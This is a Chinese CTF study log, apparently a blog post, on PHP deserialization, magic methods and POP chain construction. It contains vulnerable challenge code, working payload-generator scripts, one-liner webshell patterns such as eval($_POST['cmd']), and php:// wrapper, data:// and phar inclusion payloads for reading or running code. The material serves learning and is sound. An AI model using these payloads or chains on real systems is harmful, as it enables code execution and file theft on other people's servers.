学习日志(四)【php反序列化魔术方法以及pop构造配实战】

1. 任务

1.1.1.1.1.1. 知识部分:
  1. RCE
  2. PHP文件上传
  3. PHP序列化和反序列化【POP链构造,phar反序列化,session反序列化问题,和字符串逃逸
1.1.1.1.1.2. 题目部分:
1.1.1.1.1.3. 参考链接大佬

2. 知识点学习

2.1. php反序列化

https://blog.csdn.net/tryqaaa_/article/details/159172832?spm=1001.2014.3001.5502

这篇是我最详细的解释,这里只是一个回顾总结,以及新添一些新的 知识点

2.1.1. 补充一些生涩词汇,如果不理解,查看此处。。

2.1.1.1.1. 实例化

将类(Class)这个抽象模板转化为可以实际使用的具体对象(Object)的过程。

比如:

复制代码
# 1. 先定义类
class Car:
    def __init__(self, brand):
        self.brand = brand

# 2. 实例化:创建两个具体的汽车对象
car1 = Car("比亚迪")
car2 = Car("特斯拉")

print(car1.brand)  # 输出:比亚迪
print(car2.brand)  # 输出:特斯拉

这里Car("比亚迪")就是实例化过程,car1car2就是Car类的两个独立实例对象。

2.1.1.1.2. 序列化和反序列化

|------|-------------------------|
| 序列化 | 内存对象可存储/传输格式【拆开】 |
| 反序列化 | 可存储/传输格式内存对象【合上】 |

复制代码
// 定义一个类
class User {
    public $name;
    public $age;
    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }
}

// 1. 序列化:对象 -> 字符串
$user = new User("Bob", 22);
$serialized_str = serialize($user);
echo $serialized_str; 
// 输出:O:4:"User":2:{s:4:"name";s:3:"Bob";s:3:"age";i:22;}

// 2. 反序列化:字符串 -> 对象
$new_user = unserialize($serialized_str);
echo $new_user->name; // 输出:Bob

小题外话:

  • __wakeup()在反序列化前使用
  • __destruct()在反序列化后使用
  • __destruct()实例化对象后使用
2.1.1.1.3. 对象分为三种

public,private,protected

  • 使用public修饰进行序列化后,变量$team的长度为4,正常输出。
  • 使用private修饰进行序列化后,会在变量$team_name前面加上类的名称,在这里是object,并且长度会比正常大小多2个字节,也就是9+6+2=17。
  • 使用protected修饰进行序列化后,会在变量$team_group前面加上*,并且长度会比正常大小多3个字节,也就是10+3=13。
  • 受Private修饰的私有成员,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名]
  • 受Protected修饰的成员,序列化时:\x00 + * + \x00 + 变量名

【"\x00"代表ASCII为0的值,即空字节】

2.1.1.1.4. 常见序列化标识
复制代码
a - array                    b - boolean  
d - double                   i - integer
o - common object            r - reference
s - string                   C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

其中,比较常见的感觉:

a数组 i整数 s字符串 o类,对象

b布尔值 d小数

2.1.2. 魔术方法

2.1.2.1. 什么是魔术方法?
  • 因为是在触发了某个事件之前或之后,魔法函数会自动调用执行
  • PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。
2.1.2.2. 常见的魔术方法【含思维导图】

|----------------|-----------------------------------------------------------------------------------------------------|
| 方法名 | 作用 |
| __construct | 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值【实例化的时候】 |
| __destruct | 析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用【实例化结束之后】 |
| __toString | 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法 |
| __wakeup() | 使用unserialize时触发,反序列化恢复对象之前调用该方法 |
| __sleep() | 使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化) |
| __destruct() | 对象被销毁时触发 |
| __call() | 在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法 |
| __callStatic() | 在静态上下文中调用不可访问的方法时触发 |
| __get() | 读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性) |
| __set() | 在给不可访问属性赋值时,即在调用私有属性的时候会自动执行 |
| __isset() | 当对不可访问属性调用isset()或empty()时触发 |
| __unset() | 当对不可访问属性调用unset()时触发 |
| __invoke() | 当脚本尝试将对象调用为函数时触发 |

2.1.3. php反序列化漏洞(对象注入)

如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。

https://www.cnblogs.com/bmjoker/p/13742666.html这里面有三个注入的示例

2.1.3.1.1. 例一:
复制代码
<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($p); // 反序列化同时触发_destruct函数
?>

最终的目的是通过调用__destruct()这个析构函数,将恶意的payload注入,导致代码执行。

unserialize实行时,会自动执行__destruct()的内容

wp:test=cat flag;就是使用post方式post=你想要执行的命令即可

2.1.3.1.2. 例二:
复制代码
<?php 
$txt = $_GET["txt"]; 
$file = $_GET["file"]; 
$password = $_GET["password"]; 
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))
{ 
    echo "hello friend!<br>"; 
    if(preg_match("/flag/",$file))
    { 
       echo "不能现在就给你flag哦"; 
       exit(); 
    }
    else
    { 
       include($file); 
       $password = unserialize($password); 
       echo $password; 
    } 
}
else
{ 
       echo "you are not the number of bugku ! "; 
} 
?>

<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
            return ("good");
        }  
    }  
}  
?>

出现了三个变量,但是还是比较容易看的,

一个一个条件去满足,因为已经看到include($file); ``$password = unserialize($password);

并且在index.php用echo,将对象当作字符串,可以触发执行to_string()

2.1.3.1.2.1. 第一个变量txt
复制代码
$txt = $_GET["txt"]; 
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))

第一个要符合条件,

【错误的解答:?txt=welcome to the bugkuctf】

直接传字符串不行,因为file_get_contents第一个参数要求是文件名/资源路径,它会把你传入的字符串当成文件名去打开,而不是把它直接当成内容读取,所以会报错或者读不到正确结果。

正解:(要使用php伪协议)【小本本记下来,要去回顾php伪协议了】

https://www.leavesongs.com/PENETRATION/php-filter-magic.html这个提了Php伪协议,没看懂

有好多种协议编码方式

  1. ?txt=data://text/plain,welcome to the bugkuctf
  2. ?txt=data://text/plain;base64,d2VsY29tZSB0byB0aGUgYnVna3VjdGY=****( Base64编码形式**)**
  3. ?txt=./文件名.txt**(文件中含有这句话)**
  • GET参数传入:?txt=php://input
  • 在POST请求Body中写入:welcome to the bugkuctf
    即可让file_get_contents读取到正确的内容。
2.1.3.1.2.2. 第二三个变量
2.1.3.1.3. 例三
复制代码
<?php
class test{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("flag.php","w");
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
$a = $_GET['id'];
print_r($a);
echo "</br>";
$a_unser = unserialize($a);
require "flag.php";
?>            
2.1.3.1.3.1. 代码审计
复制代码
<?php
class test{
    // 公有属性
    var $test = '123';
    // 反序列化触发的魔术方法
    function __wakeup(){
        // 以写模式打开flag.php,不存在则创建,存在则覆盖原有内容
        $fp = fopen("flag.php","w");
        // 将当前对象的$test属性写入到flag.php
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
// 直接获取用户可控输入,无任何过滤
$a = $_GET['id'];
// 直接反序列化用户输入
$a_unser = unserialize($a);
// 最终包含并执行写入后的flag.php
require "flag.php";
?>

如上代码主要通过调用魔术方法__wakeup将$test的值写入flag.php文件中,当调用unserialize()反序列化操作时会触发__wakeup魔术方法,接下来就需要构造传进去的payload,

有可以直接生成的工具?https://www.jyshare.com/compile/1/【直接在php环境里面运行】

2.1.4. pop链

把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。

2.1.4.1. 用的上的一些方法
2.1.4.1.1. PHP最常见的危险函数
复制代码
- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()
- 代码执行:eval()、assert()、call_user_func()
2.1.4.1.1.1. 命令执行类

|----------------|--------------------------------------|----------------------------------------------------------|
| 函数 | 核心作用 | 安全风险 |
| system() | 执行外部系统命令,并直接输出结果 | 直接返回命令执行结果,最常用于一句话后门(?cmd=whoami) |
| exec() | 执行外部系统命令,仅返回最后一行结果,完整结果存在第二个参数 | 需要通过输出参数获取全部结果,也常被用来执行系统命令 |
| passthru() | 执行外部系统命令,将结果直接输出到浏览器,保留原生格式 | 和system类似,适合二进制命令输出,CTF中非常常见 |
| popen() | 打开进程文件指针,执行命令后返回文件句柄,需要配合fgets读取结果 | 属于PHP: 启动外部程序 扩展函数,常出现在代码审计题中,可用于绕过disable_functions限制 |


2.1.4.1.1.2. 文件操作类

|-------------------------|------------|----------------------------------------------------------------------|
| 函数 | 核心作用 | 安全风险 |
| file_put_contents() | 将字符串写入文件 | 如果用户可控写入内容,可以直接写入一句话木马,实现GetShell |
| file_get_contents() | 将整个文件读入字符串 | 1. 配合PHP伪协议读取任意文件源代码; 2. 可被用来绕过WAF; 3. 配合php://input读取POST请求内容写入后门 |
| unlink() | 删除文件 | 如果用户可控文件名,可删除任意服务器文件,配合竞争条件漏洞可删除哈希验证文件,绕过权限 |


2.1.4.1.1.3. 代码执行类

|----------------------|--------------------------------|------------------------------------------------------------------------|
| 函数 | 核心作用 | 安全风险 |
| eval() | 把传入的字符串当作PHP代码执行 | 最经典的一句话后门函数: eval($_POST['cmd']), 直接执行任意PHP代码,危害极高 |
| assert() | 判断断言是否成立,参数如果是字符串,会被当作PHP代码执行 | PHP低版本中作用和eval几乎一致,是eval常见的替代品,常用于绕过WAF |
| call_user_func() | 调用回调函数处理参数,第一个参数是可调用函数名,第二个是参数 | 攻击者可以控制回调函数为任意危险函数,以此实现代码/命令执行,比如call_user_func('eval','phpinfo();') |

2.1.4.1.2. php伪协议
  1. file://:访问本地文件系统,读取服务器本地文件,

不受 allow_url_fopen**/** allow_url_include****影响

用法:?file=file:///var/www/html/flag.php,需要传入文件的绝对路径

  1. php://filter:元封装器,用于读取文件源码时做编码转换,不受配置限制,双off也能用 ,CTF中最常见。
    经典读取源码payload:

    ?file=php://filter/read=convert.base64-encode/resource=index.php

把目标文件源码base64编码后输出,直接拿到源码避免PHP解析执行。

  1. php://input:读取POST请求的原始数据,配合文件包含可以直接执行POST中传入的PHP代码。
    用法:GET传参?file=php://input,然后在POST body写入<?php system('ls');?>即可执行代码,要求allow_url_include=On

  2. data://:直接将数据嵌入URL,可直接执行PHP代码,要求allow_url_include=On,PHP >= 5.2.0支持。
    两种用法:

    // 明文直接写
    ?file=data://text/plain,
    // base64编码绕过过滤
    ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz4=

  3. phar://:访问PHP归档(PHAR)文件,核心用途是配合文件上传实现反序列化漏洞 ,对后缀无要求,PHP >= 5.3.0支持。
    用法:?file=phar:///var/www/html/shell.jpg/shell,jpg后缀的压缩包也可以解析,用于绕过上传检测。

  4. zip://:访问ZIP压缩包内文件,需要用#分隔压缩包路径和内部文件路径,PHP >= 5.2.0支持。
    用法:?file=zip://./shell.jpg#shell.php

  5. compress.zlib://****/ compress.bzip2://:分别访问zlib/bzip2压缩的文件,无需解压直接读取内部内容。

2.1.4.1.3. 大写S支持字符串的编码
2.1.4.1.4. 深浅拷贝

就是复制,

浅拷贝是"表面",共用同一个地址,修改一个另一个也变a=\&b;

深拷贝,二者独立,要用__clone()

2.1.4.2. pop链的一些例子,实操中
2.1.4.2.1. 例子一
复制代码
<?php
class main {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
      //在创建main对象时,自动实例化一个normal类的对象,并把这个对象赋值给当前类的$ClassObj属性
    }

    function __destruct() {
        $this->ClassObj->action();
      //调用$ClassObj属性保存的对象的action()方法
    }
}

class normal {
    function action() {
        echo "hello bmjoker";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}
//$a = new main();
unserialize($_GET['a']);
?>

当用户构造一个序列化字符串,让$ClassObj属性实例化为evil对象而不是normal对象时:

  1. 反序列化完成后,main对象销毁时自动执行__destruct()
  2. __destruct()调用$ClassObj->action(),实际调用的就是evil类的action()
  3. evil类的action()执行eval($data),用户可控$data就实现了任意代码执行
2.1.4.2.1.1. 问题点在于?

__contruct()的结果是normal,而不是evil,我要怎么去调用evil类中的action()方法,并伪造evil类中的变量$data,达成任意代码执行的。

2.1.4.2.1.2. 然后我们可以开始编写pop链,脚本

https://www.jyshare.com/compile/1/

只是需要把需要改动的部分再先写出来,像normal啥的就可以不动,不写上去

同时注意$a = new main();``echo serialize($a);记得输出以及新建对象

注意

在序列化的时候,多出来的字节都被\x00填充,需要进行在代码中使用urlencode对序列化后字符串进行编码,否则无法复制解析。【原序列化字符串中的"{}等符号,直接放在URL参数里会被浏览器截断或解析错误,编码后会变成%22%7B%7D这类安全字符。】

可以直接将刚刚结果搞到其他网站上去,编码,

也可以在代码处修改,urlencode()

2.1.4.2.2. 例子二
复制代码
<?php
class MyFile {
    public $name;
    public $user;
    public function __construct($name, $user) {
        $this->name = $name;
        $this->user = $user; 
    }
    public function __toString(){
        return file_get_contents($this->name);
      //PHP的文件读取函数,会读取指定路径文件的全部内容,以字符串返回
    }
    public function __wakeup(){
        if(stristr($this->name, "flag")!==False)
          //stristr()是PHP的字符串查找函数
            $this->name = "/etc/hostname";
          //如果文件名包含flag,就强行把$name修改为Linux系统的/etc/hostname文件(存放主机名的系统文件),
          //这是一个WAF性质的过滤,不允许直接读取flag文件。
        else
            $this->name = "/etc/passwd"; 
        if(isset($_GET['user'])) {
          //isset()用来判断URL的GET参数中是否存在user参数。
            $this->user = $_GET['user']; 
        }
    }
    public function __destruct() {
        echo $this; 
    }
}
if(isset($_GET['input'])){
    $input = $_GET['input']; //输入口
    if(stristr($input, 'user')!==False){
        die('Hacker'); 
    } else {
        unserialize($input);
    }
}else { 
    highlight_file(__FILE__);
}
2.1.4.2.2.1. 问题在于

关键在于如果能控制变量name,就可以造成任意文件读取漏洞。但是通读代码发现前端传入的可控数据只有变量user,并且传入的$user还不能包含 "user" 子符串。【本人没有注意到echo与to_string的关系】

读取的是$name的文件,但是输入口是input和user,无法直接控制name的值,所以此处使用了浅拷贝,通过对user值的改变,来改变name的值

input不可以出现user,则可以通过大小写绕过,可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用16进制即可绕过【input相当于是对a的输入进行检测】

2.1.4.2.2.2. 构造pop链了
复制代码
<?php
class MyFile {
    public $name = '/etc/hosts';
    public $user = '';
}

$a = new MyFile();
$a->name = &$a->user;
//新建对象和浅拷贝

$b = serialize($a);
$b = str_replace("user", "use\\72", $b);
$b = str_replace("s", "S", $b);
//取代字母大小写,序列化进行验证

var_dump($b);
?>

在url处输入结果?input=

D://1.txt,指向D盘根目录下名为1.txt的文本文件,要找flag,则去flag相对应位置文件上,改后面即可

2.1.4.2.3. 例子三
复制代码
<?php
class start_gg
{
    public $mod1;
    public $mod2;
//声明两个公有属性$mod1和$mod2,可被外部访问赋值。

    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function test1()
    {
        $this->mod1->test2();
    }
}
class funct
{
    public $mod1;
    public $mod2;
    public function __call($test2,$arr)
  //__call是PHP魔术方法:当调用不存在/不可访问的方法时自动触发,
  //这里参数$test2就是调用的不存在的方法名,$arr是调用参数数组
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __invoke()
  //__invoke是PHP魔术方法:当把对象当做函数执行时自动触发,承接上一步$s1()的调用
    {
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1
{
    public $str1;
    public $str2;
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag:xxxxxxxxxxxx";
    }
}
$a = $_GET['string'];
unserialize($a);
?>

最后的目的是获取flag,也就是需要调用GetFlag类中的get_flag方法。这是一个类的普通方法。要让这个方法执行,需要构造一个POP链。

2.1.4.2.3.1. 问题在于:

他十分的绕,用了很多的魔术方法。。

然后就得一步一步来,

  1. string1中的__tostring存在$this->str1->get_flag(),分析一下要自动调用__tostring()需要把类string1当成字符串来使用,因为调用的是参数str1的方法,所以需要把str1赋值为类GetFlag的对象。

    $this->str1 = new GetFlag()

  2. 发现类func中存在__invoke方法执行了字符串拼接,需要把func当成函数使用自动调用__invoke然后把mod1赋值为string1的对象与mod2拼接。

    $this->mod1 = new string1()   这样的话在字符串拼接的时候就会触发魔术方法__toString()

【这里本人出现一个误区,就是以为是在echo处才触发了这个string,没想到是在字符拼接的时候触发的这个 _to-string ()****】

  1. 在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;

    $this->mod1 = new func()   
    //将func类作为函数调用就会触发魔术方法__invoke()

  2. 在Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。

    this->mod1= new funct() //因为test2()方法不存在,当$this->mod1调用的时候会触发魔术方法__call()

  3. 查找test1方法的调用点,在start_gg中发现this-\>mod1-\>test1();,把mod1赋值为Call类的对象,等待__destruct()自动调用。这个程序的起点就在这里

    $this->mod1= new Call()

2.1.4.2.3.2. pop链的构造

这道题因为都是在构造一个new对象,就是在各类里头新增对象constuct

复制代码
<?php
class start_gg
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new Call();  //把$mod1赋值为Call类对象
    }
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new funct();  //把 $mod1赋值为funct类对象
    }
    public function test1()
    {
        $this->mod1->test2();
    }
}

class funct
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1= new func();  //把 $mod1赋值为func类对象

    }
    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1= new string1();  //把 $mod1赋值为string1类对象

    }
    public function __invoke()
    {    
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1
{
    public $str1;
    public function __construct()
    {
        $this->str1= new GetFlag();  //把 $str1赋值为GetFlag类对象      
    }
    public function __toString()
    {    
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag:"."xxxxxxxxxxxx";
    }
}
$b = new start_gg;  //构造start_gg类对象$b
echo urlencode(serialize($b));  //显示输出url编码后的序列化对象

结果如下面所示

2.1.4.2.4. 例子四
复制代码
<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
?>

先大概浏览了一下这个代码,迅速找到了这个include()危险函数,可以在此处进行代码审计

2.1.4.2.4.1. 问题在于

触发append------》 __invoke()****------》 __get($key)****------》 __toString()****------》 __construct()

【这个链条要练到可以独自看出来,要调用get()的时候,注意到tostring的函数内容$this->str->source有误】

  1. Modifier类中append方法被__invoke()调用,并传入$this->var参数。当类Modifier被当作函数调用的时候,会自动调用魔术方法__invoke()

最后在Test类的构造函数看到了$this->p,这里可以直接通过反序列化控制属性p的值,然后通过调用魔术方法__get()来return一个p(),类被当作函数调用就可以触发魔术方法__invoke(),需要把p赋值为Modifier类的对象,$this->var可以传入想要包含的文件。

复制代码
$this->p = new Modifier()
  1. Test类中的魔术方法__get()是在读取不可访问属性的值时会被调用,发现Show类中的魔术方法__toString()访问了str的source属性,如果str是Test类的对象,则不存在source属性,Test类的__get()魔术方法就会被调用。

    $this->str = new Test()

  2. Show类中的魔术方法__toString()是当一个对象被当作一个字符串被调用。发现Show类的构造方法__construct()使用echo输出字符串,如果$this->source指向一个对象,就会调用__toString()方法。

    a = new Show(); this->source = $a;

最终的调用链如下:

复制代码
include <-- Modifier::__invoke() <-- Test::__get() <-- Show::__toString()
2.1.4.2.4.2. pop链构造

注意,在写payload的时候,

<?php ?>

construct的出现,有新建的对象,

复制代码
<?php
class Modifier {
    protected  $var = "D://1.txt";
    }
 
class Show{
    public $source;
    public $str;
}
 
class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
 
$a = new Show();
$a->source = $a;
$a->str = new Test();
echo urlencode(serialize($a));
?>

结果如下图所示:

3. 总结

3.1.1.1.1.1. 下周新任务
  • php伪协议要去回顾(iscc也考了)
  • php实际才学到php反序列化,下周从Seesion继续开始学,
3.1.1.1.1.2. 学了个啥知识呢?

之前第一遍学习这个pop链,实际一直没有太明白,这次通过这三道反序列化的题目,知晓之前推反序列化简直就是乱来,,,学会了一丢丢写payload的感觉,下周将实操试试

相关推荐
星辰3 分钟前
Ijkplayer重新编译支持h264裸流
android
测试开发-学习笔记33 分钟前
Android studio安装
android·ide·android studio
宋拾壹33 分钟前
同时添加多个类目
android·开发语言·javascript
●VON1 小时前
AtomGit Flutter鸿蒙客户端:数据模型
android·服务器·安全·flutter·harmonyos·鸿蒙
火柴就是我2 小时前
记录一个文本随手指缩放的功能
android
Zender Han3 小时前
Android APK 签名 v1、v2、v3、v4 有什么区别?
android
神仙别闹3 小时前
基于 PHP + MySQL学生信息管理系统
android·mysql·php
墨狂之逸才4 小时前
Android 保活机制详解 —— 从概念到实践
android
故渊at4 小时前
第二板块:Android 四大组件标准化学理 | 第十二篇:四大组件全景总结与系统服务(System Server)架构
android·架构·wpf·四大组件·system service
问心无愧05134 小时前
ctf sow web入门112
android·前端·笔记